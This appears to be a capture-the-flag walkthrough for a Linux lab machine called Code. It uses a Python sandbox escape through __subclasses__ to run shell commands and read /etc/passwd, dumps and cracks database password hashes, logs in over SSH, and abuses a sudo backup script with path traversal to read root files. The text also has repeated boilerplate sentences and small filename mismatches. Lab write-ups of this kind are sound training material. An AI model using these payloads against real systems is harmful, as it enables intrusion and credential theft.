Code is a Medium difficulty Linux machine featuring a Python code editor web application. The editor allows arbitrary Python execution, which can be leveraged to read system files and dump database credentials. After cracking the password hashes, SSH access is obtained. Privilege escalation exploits a sudo misconfiguration with a custom backup script (backy.sh) that allows reading arbitrary files as root through crafted JSON task definitions.
I start with a full TCP port scan to identify all open ports.
nmap -p- 10.129.37.223
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-24 22:24 CET
Nmap scan report for 10.129.37.223
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 14.10 secondsA detailed scan on the discovered ports reveals SSH on port 22 and an HTTP service on port 5000.
nmap -p22,5000 -sCV 10.129.37.223 -vvvv
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-24 22:25 CET
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:25
Completed NSE at 22:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:25
Completed NSE at 22:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:25
Completed NSE at 22:25, 0.00s elapsed
Initiating Ping Scan at 22:25
Scanning 10.129.37.223 [4 ports]
Completed Ping Scan at 22:25, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:25
Completed Parallel DNS resolution of 1 host. at 22:25, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 22:25
Scanning 10.129.37.223 [2 ports]
Discovered open port 22/tcp on 10.129.37.223
Discovered open port 5000/tcp on 10.129.37.223
Completed SYN Stealth Scan at 22:25, 0.07s elapsed (2 total ports)
Initiating Service scan at 22:25
Scanning 2 services on 10.129.37.223
Completed Service scan at 22:25, 6.31s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.37.223.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:25
Completed NSE at 22:25, 1.87s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:25
Completed NSE at 22:25, 0.41s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:25
Completed NSE at 22:25, 0.00s elapsed
Nmap scan report for 10.129.37.223
Host is up, received echo-reply ttl 63 (0.021s latency).
Scanned at 2025-03-24 22:25:24 CET for 9s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrE0z9yLzAZQKDE2qvJju5kq0jbbwNh6GfBrBu20em8SE/I4jT4FGig2hz6FHEYryAFBNCwJ0bYHr3hH9IQ7ZZNcpfYgQhi8C+QLGg+j7U4kw4rh3Z9wbQdm9tsFrUtbU92CuyZKpFsisrtc9e7271kyJElcycTWntcOk38otajZhHnLPZfqH90PM+ISA93hRpyGyrxj8phjTGlKC1O0zwvFDn8dqeaUreN7poWNIYxhJ0ppfFiCQf3rqxPS1fJ0YvKcUeNr2fb49H6Fba7FchR8OYlinjJLs1dFrx0jNNW/m3XS3l2+QTULGxM5cDrKip2XQxKfeTj4qKBCaFZUzknm27vHDW3gzct5W0lErXbnDWQcQZKjKTPu4Z/uExpJkk1rDfr3JXoMHaT4zaOV9l3s3KfrRSjOrXMJIrImtQN1l08nzh/Xg7KqnS1N46PEJ4ivVxEGFGaWrtC1MgjMZ6FtUSs/8RNDn59Pxt0HsSr6rgYkZC2LNwrgtMyiiwyas=
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDiXZTkrXQPMXdU8ZTTQI45kkF2N38hyDVed+2fgp6nB3sR/mu/7K4yDqKQSDuvxiGe08r1b1STa/LZUjnFCfgg=
| 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8Cwf2cBH9EDSARPML82QqjkV811d+Hsjrly11/PHfu
5000/tcp open http syn-ack ttl 63 Gunicorn 20.0.4
| http-methods:
|_ Supported Methods: HEAD GET OPTIONS
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:25
Completed NSE at 22:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:25
Completed NSE at 22:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:25
Completed NSE at 22:25, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.08 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)The web application on port 5000 hosts a Python Code Editor — a browser-based tool that executes Python code server-side and returns the output. This is essentially a free Remote Code Execution (RCE) endpoint if not properly sandboxed.
I test whether I can break out of the editor's sandbox by using Python's __subclasses__ introspection to access the subprocess module and execute system commands. The payload reads /etc/passwd to enumerate system users.
print(object.__subclasses__()[317]("cat /etc/passwd", shell=True, stdout=-1).communicate())print(object.__subclasses__()[317]("cat /etc/passwd", shell=True, stdout=-1).communicate())
(b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\nsystemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\nsystemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\nmessagebus:x:103:106::/nonexistent:/usr/sbin/nologin\nsyslog:x:104:110::/home/syslog:/usr/sbin/nologin\n_apt:x:105:65534::/nonexistent:/usr/sbin/nologin\ntss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false\nuuidd:x:107:112::/run/uuidd:/usr/sbin/nologin\ntcpdump:x:108:113::/nonexistent:/usr/sbin/nologin\nlandscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin\npollinate:x:110:1::/var/cache/pollinate:/bin/false\nfwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin\nusbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\nsshd:x:113:65534::/run/sshd:/usr/sbin/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\nlxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false\napp-production:x:1001:1001:,,,:/home/app-production:/bin/bash\nmartin:x:1000:1000:,,,:/home/martin:/bin/bash\n_laurel:x:997:997::/var/log/laurel:/bin/false\n', None)Since the code editor is a Flask application, I attempt to dump user credentials from the application's database by querying the ORM directly. This reveals two user accounts with their password hashes.
print([(user.id, user.username, user.password) for user in User.query.all()])
[(1, 'development', '759b74ce43947f5f4c91aeddc3e5bad3'), (2, 'martin', '3de6f30c4a09c27fc71932bfc68474be')]Two hashes were found. I paste them into CrackStation (an online hash-cracking service) to save time, and both hashes are successfully cracked.
I test the discovered credentials against the SSH server and successfully log in as the user martin.
ssh martin@10.129.37.223
The authenticity of host '10.129.37.223 (10.129.37.223)' can't be established.
ED25519 key fingerprint is SHA256:AlQsgTPYThQYa3z9ZAHkFiO/LqXA6T55FoT58A1zlAY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.37.223' (ED25519) to the list of known hosts.
martin@10.129.37.223's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Mon 24 Mar 2025 04:15:46 PM UTC
System load: 0.09
Usage of /: 51.0% of 5.33GB
Memory usage: 13%
Swap usage: 0%
Processes: 232
Users logged in: 0
IPv4 address for eth0: 10.129.37.223
IPv6 address for eth0: dead:beef::250:56ff:fe94:626f
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Mar 24 16:15:47 2025 from 10.10.16.22
martin@code:~$Martin's home directory does not contain a user.txt file directly. Instead, I find a .tar.bz2 archive and a .json file in the backups folder.
martin@code:~/backups$ ls
code_home_app-production_app_2024_August.tar.bz2 task.jsonRunning sudo -l reveals that martin can execute /usr/bin/backy.sh as root without a password. This is a custom backup script owned by root.
martin@code:~/backups$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.shThe command output below reveals important information about the target system's configuration. I carefully examine the results for credentials, misconfigurations, version numbers, or any other details that could be leveraged for further exploitation.
martin@code:/usr/bin$ ls -l | grep "backy.sh"
-rwxr-xr-x 1 root root 926 Sep 16 2024 backy.shI examine the existing task.json file to understand what format the backup script expects.
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}The script takes a JSON task definition specifying which directories to back up. I craft a custom task file (app-production.json) in /tmp that targets the home directory of the app-production user, where the user.txt file resides.
{
"destination":"/home/martin/backups/",
"multiprocessing":true,
"verbose_log":true,
"directories_to_archive":[
"/home/app-production/user.txt"
]
}Executing the backup script with the custom task creates a compressed archive in martin's backups directory.
martin@code:/tmp$ sudo /usr/bin/backy.sh app-production.json
/usr/bin/backy.sh: line 19: app-production.json: Permission denied
2025/03/24 17:08:24 🍀 backy 1.2
2025/03/24 17:08:24 📋 Working with app-production.json ...
2025/03/24 17:08:24 💤 Nothing to sync
2025/03/24 17:08:24 📤 Archiving: [/home/app-production/user.txt]
2025/03/24 17:08:24 📥 To: /home/martin/backups ...
2025/03/24 17:08:24 📦
tar: Removing leading `/' from member names
/home/app-production/user.txtThe command output below reveals important information about the target system's configuration. I carefully examine the results for credentials, misconfigurations, version numbers, or any other details that could be leveraged for further exploitation.
martin@code:~/backups$ ls
code_home_app-production_app_2024_August.tar.bz2 code_home_app-production_user.txt_2025_March.tar.bz2 task.jsoI extract the archive and find the user flag inside the app-production user's home folder.
martin@code:~/backups$ tar -xvjf code_home_app-production_user.txt_2025_March.tar.bz2
home/app-production/user.txtI read the user flag from the current user's home directory.
martin@code:~/backups/home/app-production$ cat user.txt
4934512aaf171ed9d67d4473fc357ecb4934512aaf171ed9d67d4473fc357ecbUsing the exact same technique, I craft another JSON task definition (root.json) that targets /root/root.txt.
{
"destination":"/home/martin/backups/",
"multiprocessing":true,
"verbose_log":true,
"directories_to_archive":[
"/var/../root/root.txt"
]
}I execute the backup script with the root task, extract the resulting archive, and read the root flag.
martin@code:/tmp$ sudo /usr/bin/backy.sh /tmp/rootme.json
/usr/bin/backy.sh: line 19: /tmp/rootme.json: Permission denied
2025/03/24 16:42:42 🍀 backy 1.2
2025/03/24 16:42:42 📋 Working with /tmp/rootme.json ...
2025/03/24 16:42:42 💤 Nothing to sync
2025/03/24 16:42:42 📤 Archiving: [/var/../root/root.txt]
2025/03/24 16:42:42 📥 To: /home/martin/backups ...
2025/03/24 16:42:42 📦
tar: Removing leading `/var/../' from member names
/var/../root/root.txtThe command output below reveals important information about the target system's configuration. I carefully examine the results for credentials, misconfigurations, version numbers, or any other details that could be leveraged for further exploitation.
martin@code:~/backups$ ls
code_home_app-production_app_2024_August.tar.bz2 code_var_.._root_root.txt_2025_March.tar.bz2
code_home_app-production_app_2025_March.tar.bz2 task.jsonI extract the compressed archive using the appropriate decompression tool (tar for .tar.bz2, unzip for .zip). The extracted contents may include backup files, configuration data, or user directories containing flags and sensitive information.
martin@code:~/backups$ tar -xvjf code_var_.._root_root.txt_2025_March.tar.bz2
root/root.txtWith root privileges now obtained, I navigate to /root/root.txt and read the final flag. This completes the privilege escalation chain from initial foothold to full system compromise.
martin@code:~/backups/root$ cat root.txt
45e3a6cf9707e38495a4820c25d41d0945e3a6cf9707e38495a4820c25d41d09
Root flag obtained